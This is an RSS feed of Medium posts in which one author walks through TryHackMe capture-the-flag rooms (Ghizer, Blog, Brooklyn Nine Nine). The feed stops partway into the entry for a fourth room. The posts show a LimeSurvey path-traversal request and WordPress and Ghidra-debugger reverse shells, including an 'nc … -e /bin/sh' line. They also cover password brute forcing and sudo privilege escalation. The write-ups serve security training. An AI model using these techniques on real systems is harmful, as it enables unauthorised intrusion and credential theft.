<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Muzec on Medium]]></title>
        <description><![CDATA[Stories by Muzec on Medium]]></description>
        <link>https://medium.com/@msaminu654?source=rss-c9e9bd44299d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*WOW3BnS3qxyZE0BXdkA_oA.png</url>
            <title>Stories by Muzec on Medium</title>
            <link>https://medium.com/@msaminu654?source=rss-c9e9bd44299d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 10:00:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@msaminu654/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ghizer CTF -WriteUP -TryHackMe]]></title>
            <link>https://medium.com/@msaminu654/ghizer-ctf-writeup-tryhackme-4cc4c1dd5e32?source=rss-c9e9bd44299d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4cc4c1dd5e32</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[muzec]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Muzec]]></dc:creator>
            <pubDate>Tue, 08 Sep 2020 18:44:12 GMT</pubDate>
            <atom:updated>2020-09-08T18:44:12.602Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*m_eUZThPxtdEFiE8wy0CHw.png" /></figure><p><strong><em>Room Name:</em> </strong>Ghizer</p><p><strong><em>Source:</em> </strong>Tryhackme.com</p><p><strong><em>Difficulty:</em> </strong>Medium</p><p><strong>Tools I Use To Complete The Room.</strong></p><ol><li>Nmap</li><li>Google</li><li>Metasploit</li><li>Burp Suite</li><li>Ncat</li></ol><p><strong><em>lucrecia has installed multiple web applications on the server.</em></strong></p><p>It been long lately since i posted some hacking write-up on the new boxes release on TryHackMe so let hack some new machines.</p><p><strong>Scanning With NMAP.</strong></p><p># Nmap 7.80 scan initiated Sat Sep 5 12:36:49 2020 as: nmap -sC -sV -oA nmap 10.10.33.119<br>Nmap scan report for 10.10.33.119<br>Host is up (0.16s latency).<br>Not shown: 994 closed ports<br>PORT STATE SERVICE VERSION<br>21/tcp open ftp?<br>| fingerprint-strings: <br>| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest, X11Probe: <br>| 220 Welcome to Anonymous FTP server (vsFTPd 3.0.3)<br>| Please login with USER and PASS.<br>| FourOhFourRequest, Kerberos, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie: <br>|_ 220 Welcome to Anonymous FTP server (vsFTPd 3.0.3)<br>80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br>443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))<br>544/tcp filtered kshell<br>1864/tcp filtered paradym-31<br>32768/tcp filtered filenet-tms<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <a href="https://nmap.org/cgi-bin/submit.cgi?new-service">https://nmap.org/cgi-bin/submit.cgi?new-service</a> :<br>SF-Port21-TCP:V=7.80%I=7%D=9/5%Time=5F53BEC2%P=x86_64-pc-linux-gnu%r(NULL,<br>SF:33,”220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203<br>SF:\.0\.3\)\n”)%r(GenericLines,58,”220\x20Welcome\x20to\x20Anonymous\x20FT<br>SF:P\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x20login\x20with\x2<br>SF:0USER\x20and\x20PASS\.\n”)%r(Help,58,”220\x20Welcome\x20to\x20Anonymous<br>SF:\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x20login\x20w<br>SF:ith\x20USER\x20and\x20PASS\.\n”)%r(GetRequest,58,”220\x20Welcome\x20to\<br>SF:x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x<br>SF:20login\x20with\x20USER\x20and\x20PASS\.\n”)%r(HTTPOptions,58,”220\x20W<br>SF:elcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n53<br>SF:0\x20Please\x20login\x20with\x20USER\x20and\x20PASS\.\n”)%r(RTSPRequest<br>SF:,58,”220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x20<br>SF:3\.0\.3\)\n530\x20Please\x20login\x20with\x20USER\x20and\x20PASS\.\n”)%<br>SF:r(RPCCheck,33,”220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(<br>SF:vsFTPd\x203\.0\.3\)\n”)%r(DNSVersionBindReqTCP,58,”220\x20Welcome\x20to<br>SF:\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\<br>SF:x20login\x20with\x20USER\x20and\x20PASS\.\n”)%r(DNSStatusRequestTCP,58,<br>SF:”220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0<br>SF:\.3\)\n530\x20Please\x20login\x20with\x20USER\x20and\x20PASS\.\n”)%r(SS<br>SF:LSessionReq,33,”220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\<br>SF:(vsFTPd\x203\.0\.3\)\n”)%r(TerminalServerCookie,33,”220\x20Welcome\x20t<br>SF:o\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n”)%r(TLSSessi<br>SF:onReq,33,”220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTP<br>SF:d\x203\.0\.3\)\n”)%r(Kerberos,33,”220\x20Welcome\x20to\x20Anonymous\x20<br>SF:FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n”)%r(SMBProgNeg,33,”220\x20Welc<br>SF:ome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n”)%r(<br>SF:X11Probe,58,”220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vs<br>SF:FTPd\x203\.0\.3\)\n530\x20Please\x20login\x20with\x20USER\x20and\x20PAS<br>SF:S\.\n”)%r(FourOhFourRequest,33,”220\x20Welcome\x20to\x20Anonymous\x20FT<br>SF:P\x20server\x20\(vsFTPd\x203\.0\.3\)\n”);</p><p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Sat Sep 5 12:40:40 2020–1 IP address (1 host up) scanned in 230.68 seconds</p><p>We have 3 open ports 21,80 and 443 observing my Nmap output indicated we have anonymous access to the FTP server let log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J6-99hyjIVwEbl6684Ar6w.png" /></figure><p>We don’t have access to any of the file in the FTP server time to dig into port 80 to see what is cooking hahahahaha.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I1SnJvkkk3tWecWjTNo0Qg.png" /></figure><p>LimeSurvey hmmm let try to burst some directory&#39;s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2iU7EE-fez2Ymfde9cCArA.png" /></figure><p>Some the only juicy directory i get is /admin you can easily access the admin page with <a href="http://machine_ip/admin">http://Machine_IP/admin</a> and boom we are in so i try admin and admin for both username and password but no luck time to do some research.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tsdO2upa20Qd9-vFRw9PAg.png" /></figure><p>Now let give it a try.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hmalAdm5tFPPtHjudmpUuQ.png" /></figure><p>Boom and we are in hey you reading well done you are in now let move to the next step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1L1E6H-67IFllaL8udznHA.png" /></figure><p>LimeSurvey Version 3.15.9 interesting let try to find some exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dZxyHKwOIdlJZX53Rqve2Q.png" /></figure><p>LimeSurvey Zip Path Traversals let give it a shot some details about the module exploit we are trying to use now.</p><p>This module exploits an authenticated path traversal vulnerability found in LimeSurvey versions between 4.0 and 4.1.11 with CVE-2020–11455 or &lt;= 3.15.9 with CVE-2019–9960, inclusive. In CVE-2020–11455 the getZipFile function within the filemanager functionality allows for arbitrary file download.</p><p>The file retrieved may be deleted after viewing, which was confirmed in testing. In CVE-2019–9960 the szip function within the downloadZip functionality allows for arbitrary file download. Verified against 4.1.11–200316, 3.15.0–181008, 3.9.0–180604, 3.6.0–180328, 3.0.0–171222, and 2.70.0–170921.</p><p><strong>METASPLOIT</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xkWRD__o4E8-_LPH5KCxeQ.png" /></figure><p>So i was able to read the passwd file /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*drg-r5ornIT5LPKDGW7saw.png" /></figure><p>But when i try to read the /application/config/config.php no luck time for some research again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wrcUF1E_OO329RhI5HigWg.png" /></figure><p>Limesurvey is an open-source application written in PHP, created specifically to conduct online surveys. It is really useful for those users who lack programming knowledge, helping them to generate an environment for the collection of answers about their surveys.</p><p>A few weeks ago I found and reported an Arbitrary File Download vulnerability, which is registered as <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9960">CVE-2019–9960</a>. This vulnerability allows an Administrator to download internal files from the server, through a Directory Traversal. The vulnerability affects the versions &lt;= 3.15.9+190214.</p><p>Until the date of the date, LimeSurvey has a total of 1.124 stars on <a href="https://github.com/LimeSurvey/LimeSurvey">GitHub</a>.</p><p><strong>BURP SUITE</strong></p><p>When a user exports the structure of a survey to <strong>*.lss</strong> format, a modal is generated with the “Download archive” button.</p><p>Click on survey in the admin panel of the LimeSurvey now tick on the present survey to export.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*35VbqcDGfs5IQlLxT4Svsw.png" /></figure><p>Now click on Survey structure (*lss) you should a download archive button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UNmVvYJh32aKMtuRH9DkCA.png" /></figure><p>Don’t download yet time to intercept request with burp suite intercept is on now click on Download archive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*auYZ_y31ZLhmy4_o63nx6g.png" /></figure><p>Boom we have the request now let send it to repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BwOz175-GjRzjvmRlZrAmQ.png" /></figure><p>Now let read the config file /index.php/admin/export/sa/downloadZip/?sZip=../application/config/config.php make sure you edit the request and click on send.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lKCohAW51l876jyHOE7BYA.png" /></figure><p>Checking the response boom we have the config file task 1 done What are the credentials you found in the configuration file?</p><p>Ans: ****:*******</p><p>Time to jump to task 2 What is the login path for the wordpress installation?</p><p>Bursting port 80 directory give nothing time to check out port 443 maybe can find something juicy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IUciFdVS6pe4bRGWNESq8w.png" /></figure><p>Scrolling down and clicking on log in give me the login path to log into wordpress admin panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8pQJ835-tY6CGESpsCxvEg.png" /></figure><p>Yes i know i star the path hahahahah now let log in with the credentials we got from the config file and boom we are in.</p><p>Ans: **********</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mT-smrYSBeP2ytwFG-wpgw.png" /></figure><p>Now let spawn a reverse shell back to our terminal that more fun to work with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b3s7CzVmqI5mMXpuQt9pfw.png" /></figure><p>I actually use the plugins way to get a reverse shell a simple bash reverse shell in Php and zip it to be able to upload it on the plugins page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5P5H-qBo6KnhZLaaLch8YQ.png" /></figure><p>Click on install now and go to your terminal to start a ncat listener go back to the blog and click on activate boom you should have a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DIm8MnzBlr6ETi7bMNGFnA.png" /></figure><p>Let change directory to home to get the user.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nw8muez7u0AqeS1nsK0TlA.png" /></figure><p>Permission denied and we are www-data we need to find way to migrate to another user maybe Veronica when enumerating to get a password for Veronica or a way to get another reverse shell i find some interesting exploit for ghidra_9.0 (Debug Mode).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WciUIAqFGYb2XcAP7ocJOA.png" /></figure><p>Since we know port 18001 is running on localhost let type the command <strong><em>jdb -attach 127.0.0.1:18001 </em></strong>now type <strong><em>classpath </em></strong>after that type <strong><em>classes</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zlf5HBSYmMB1zrfesH9cGA.png" /></figure><p>Now type in <strong><em>stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lLJR0zPa1MTB28hUkP3nDw.png" /></figure><p>Wait and you should get a way to spawn a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tm0NlRkQTfpFCArwKRL0Eg.png" /></figure><p>Now type in <strong><em>print new java.lang.Runtime().exec(“nc 10.8.0.0.0 1337-e /bin/sh”) </em></strong>make sure you a ncat listener and change the IP and port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LSUxBrAeto6B7jPzll9tFg.png" /></figure><p>Boom let get the user.txt flag now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rNWt2dHIFyVgEynisfMdFA.png" /></figure><p>Now we have user.txt let get root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AkgcygQCfEOxYhpFtcth1w.png" /></figure><p>Cool we can run sudo on /usr/bin/python3.5 /home/veronica/base.py hahahaha let cat the base.py.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j3KH5m4H2YUlmRtpwmmuhA.png" /></figure><p>WTF! permission denied ok let try another trick let try to remove /home/veronica/base.py with rm -rf /home/veronica/base.py.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*89c26pGcxr9BcCRXXyEMZg.png" /></figure><p>Boom it work let try to create it back with some python shell in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TpxqPAY90MSJcWvcqr0Drg.png" /></figure><p>echo ‘import pty; pty.spawn(“/bin/sh”)’ &gt; /home/veronica/base.py boom done now let run it with sudo /usr/bin/python3.5 /home/veronica/base.py .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pFaEqtrHJi5ti64mCjOuYg.png" /></figure><p>Booooom and we are root hahahahaha box rooted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LTXsoS8OWLpZzv1tAFwmtw.png" /></figure><p>Come on bro give me a claps if you done reading and well done to what a journey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*FE_pKkhR4A9T-0BPtILQSA.gif" /></figure><p><strong><em>If You Do Enjoy My Write Up Please Do Claps Below Thanks And See You Next Time Peace.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4cc4c1dd5e32" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blog -WriteUp-TryHackme]]></title>
            <link>https://medium.com/@msaminu654/blog-writeup-tryhackme-4892ff020a9f?source=rss-c9e9bd44299d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4892ff020a9f</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Muzec]]></dc:creator>
            <pubDate>Mon, 10 Aug 2020 16:34:30 GMT</pubDate>
            <atom:updated>2020-08-10T16:34:30.474Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sx8UMBarKnpgZ6UQXOuOmQ.png" /></figure><p><strong>Room Name</strong>: <em>Blog</em></p><p><strong>Source</strong>: <em>Tryhackme.com</em></p><p><strong>Difficulty</strong>: <em>Medium</em></p><p><strong>Tools I Use To Complete The Room.</strong></p><ol><li><em>Nmap</em></li><li><em>Metasploit</em></li><li><em>wpscan</em></li><li><em>Google</em></li><li><em>ltrace</em></li></ol><p>Let get started.</p><p>Billy Joel made a blog on his home computer and has started working on it. It’s going to be so awesome!</p><p>Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole…</p><p>In order to get the blog to work with AWS, you’ll need to add blog.thm to your /etc/hosts file.</p><p><strong>Scanning With NMAP.</strong></p><p><strong>NMAP Result</strong></p><p><em># Nmap 7.80 scan initiated Sun Jul 12 19:14:28 2020 as: nmap -sC -sV -oA nmap blog.thm<br>Nmap scan report for blog.thm (10.10.96.47)<br>Host is up (0.14s latency).<br>Not shown: 996 closed ports<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)<br>| 256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)<br>|_ 256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)<br>80/tcp open http Apache httpd 2.4.29 ((Ubuntu))<br>|_http-generator: WordPress 5.0<br>| http-robots.txt: 1 disallowed entry <br>|_/wp-admin/<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Billy Joel&amp;#039;s IT Blog &amp;#8211; The IT blog<br>139/tcp open netbios-ssn Samba smbd 3.X — 4.X (workgroup: WORKGROUP)<br>445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)<br>Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel</em></p><p><em>Host script results:<br>|_nbstat: NetBIOS name: BLOG, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| smb-os-discovery: <br>| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)<br>| Computer name: blog<br>| NetBIOS computer name: BLOG\x00<br>| Domain name: \x00<br>| FQDN: blog<br>|_ System time: 2020–07–12T23:14:59+00:00<br>| smb-security-mode: <br>| account_used: guest<br>| authentication_level: user<br>| challenge_response: supported<br>|_ message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>| 2.02: <br>|_ Message signing enabled but not required<br>| smb2-time: <br>| date: 2020–07–12T23:14:59<br>|_ start_date: N/A</em></p><p><em>Service detection performed. Please report any incorrect results at </em><a href="https://nmap.org/submit/"><em>https://nmap.org/submit/</em></a><em> .<br># Nmap done at Sun Jul 12 19:15:04 2020–1 IP address (1 host up) scanned in 35.92 seconds</em></p><p>We have 4 open ports 22 which is SSH port 80 normal HTTP port 139,445 which is samba.</p><p>Let start enumerating.</p><p><strong>#5 What version of the above CMS was being used?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLdcl3MHySfiBclfNMjZZQ.png" /></figure><p><strong>#4 What CMS was Billy using?</strong></p><p><strong>Answer</strong>: <em>Wordpress</em></p><p><strong>#3 Where was user.txt found?</strong></p><p>Hehehehe we need to get access to the machine let enumerate hard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cJhBD9dErLzAJzO57BKsIg.png" /></figure><p>A note from mom let check what it said;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*XL0vPtUUVvCOepWPwmg_4A.png" /></figure><p>Karen Wheeler that is Billy mom cool actually she created the blog for Billy to get things up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6qwPqpqSxSET9Wv8OVnzdw.png" /></figure><p>Let click on the name to get more details on the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Et5WT53TrAY68U_LRjU6AQ.png" /></figure><p>Cool we have the author name <em>kwheel </em>let try some brute force with wpscan command <strong><em>wpscan — url </em></strong><a href="http://blog.thm/"><strong><em>http://blog.thm/</em></strong></a><strong><em> — usernames kwheel — passwords rockyou.txt </em></strong>so i use the rockyou.txt wordlist.</p><p>Let it fly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YzCXvqUkPXfVc3Y5tirqxw.png" /></figure><p>Cool we have the details let hit the login page to log in <a href="http://blog.thm/wp-admin">http://blog.thm/wp-admin</a> .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GqRpSMawXlmAMb7WG4Mw9A.png" /></figure><p>Boom we are in but it just a normal author account not an admin account let do some research.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rB_cgaatlxikIxXnZalnmQ.png" /></figure><p>So with the research i came across something interesting on rapid7 about a vulnerable on wordpress 5.0 details below.</p><p>WordPress versions 5.0.0 and &lt;= 4.9.8. The crop-image function allows a user, with at least author privileges, to resize an image and perform a path traversal by changing the _wp_attached_file reference during the upload.</p><p>The second part of the exploit will include this image in the current theme by changing the _wp_page_template attribute when creating a post. This exploit module only works for Unix-based systems currently.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WSNSLGOPwUZwClM6iQ0y0Q.png" /></figure><p>Hit exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eX00VXqJOtyH5PVLitdybQ.png" /></figure><p>Boom and we have Meterpreter shell cool let get into normal shell by typing… shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TC15X6wQnU_w4a73S840cg.png" /></figure><p>Ok let try harder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YBgj7xFSwx242D2PF235ow.png" /></figure><p>So after enumerating so hard i found a custom SUID file checker owned by root let run ltrace on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ndsvZPCaFLcurP2MNl60Jw.png" /></figure><p>getenv(“admin”) = nil<br>puts(“Not an Admin”) = 13<br>Not an Admin<br>+++ exited (status 0) +++</p><p>Let try to export a variable and run the checker file.</p><p>export admin=1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XKvk52TxBNEoUiT9jjD7jg.png" /></figure><p><strong>Answer</strong>: <em>/media/usb</em></p><p><strong>#2 user.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xX5i536L6x7bXMBWoTt1wg.png" /></figure><p><strong>#1 root.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pct4yaDNh0rTUiZNdXdLNQ.png" /></figure><p>And we are done box rooted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*Jp2AG9J0ou_8KarZmlPx1w.gif" /></figure><p><strong><em>If You Do Enjoy My Write Up Please Do Claps Below Thanks And See You Next Time Peace.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4892ff020a9f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Brooklyn 99— Writeup — TryHackMe]]></title>
            <link>https://medium.com/@msaminu654/brooklyn-99-writeup-tryhackme-c477d19506ee?source=rss-c9e9bd44299d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c477d19506ee</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Muzec]]></dc:creator>
            <pubDate>Tue, 28 Jul 2020 13:52:03 GMT</pubDate>
            <atom:updated>2020-07-28T13:52:03.059Z</atom:updated>
            <content:encoded><![CDATA[<h3>Brooklyn 99— Writeup — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4GgvWifY72NFwXcRbugWBw.jpeg" /></figure><p><strong>Room Name: </strong><em>Brooklyn Nine Nine</em></p><p><strong>Source</strong>: <em>Tryhackme.com</em></p><p><strong>Difficulty: </strong><em>Rated Easy</em></p><p>This room is aimed for beginner level hackers but anyone can try to hack this box. There are two main intended ways to root the box.</p><p>Refreshing For Beginner………..</p><p><strong>SCANNING</strong></p><p># Nmap 7.80 scan initiated Sat Jul 25 23:15:08 2020 as: nmap -sC -sV -oA nmap 10.10.131.19<br>Nmap scan report for 10.10.131.19<br>Host is up (0.23s latency).<br>Not shown: 997 closed ports<br>PORT STATE SERVICE VERSION<br>21/tcp open ftp vsftpd 3.0.3<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_-rw-r — r — 1 0 0 119 May 17 23:17 note_to_jake.txt<br>| ftp-syst: <br>| STAT: <br>| FTP server status:<br>| Connected to ::ffff:10.0.0.20<br>| Logged in as ftp<br>| TYPE: ASCII<br>| No session bandwidth limit<br>| Session timeout in seconds is 300<br>| Control connection is plain text<br>| Data connections will be plain text<br>| At session startup, client count was 2<br>| vsFTPd 3.0.3 — secure, fast, stable<br>|_End of status<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)<br>| 256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)<br>|_ 256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)<br>80/tcp open http Apache httpd 2.4.29 ((Ubuntu))<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Site doesn’t have a title (text/html).<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</p><p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Sat Jul 25 23:15:34 2020–1 IP address (1 host up) scanned in 26.38 seconds</p><p>We have three open ports 21,22 and 80 very interesting observing my scan output we find out port 21 which is the FTP we have access to the Anonymous FTP login cool guess it our lucky day.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LUZ84uNfw7Bpj-il27qNTA.png" /></figure><p>And we are in a note hmm a secret note to jake we can easily use get note_to_jake.txt to get it to our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WvNq_k7zUyCXoJY7TBXSmw.png" /></figure><p>Done let cat the txt file to see what is the secret note.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*my34spF-H_5WPvxsI5E3AQ.png" /></figure><p>WTF! only username i was thinking i will get some full details like username and password for SSH but no problem let try some SSH brute force with hydra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-uTFkSdxBdJD9wwNVIu-tA.png" /></figure><p>Hell Yea… we have the password time to log in SSH to get user flag that was way to easy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*baE01IMKoIMppMxYOlrGXg.png" /></figure><p>Boom we are in let get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ioiuj3ZLMtl_viIbgAnaEw.png" /></figure><p>We have user.txt let go for the root flag now time for Privilege Escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WVQwx8Lgxel87rZI0sFDnA.png" /></figure><p>Let try checking some sudo right using sudo -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WVQwx8Lgxel87rZI0sFDnA.png" /></figure><p>User jake may run the following commands on brookly_nine_nine:<br> (ALL) NOPASSWD: /usr/bin/less hmm let check <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a> for /usr/bin/less exploit to get root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ntDUTirHB-6xWaf3zDw9Fg.png" /></figure><p>Let try it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z7yG8FCgQDRPejkz0yaqtQ.png" /></figure><p>Boom we are root and we also have the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*cf9w0s7sMTGbPSdYVKnEKQ.gif" /></figure><p><strong><em>Thank You 3000 For Reading My Write Up…. See You Next Time Peace…….</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c477d19506ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Overpass — Write-Up — Tryhackme]]></title>
            <link>https://medium.com/@msaminu654/overpass-write-up-tryhackme-70bce58d7cfd?source=rss-c9e9bd44299d------2</link>
            <guid isPermaLink="false">https://medium.com/p/70bce58d7cfd</guid>
            <category><![CDATA[ctf-writeup]]></category>
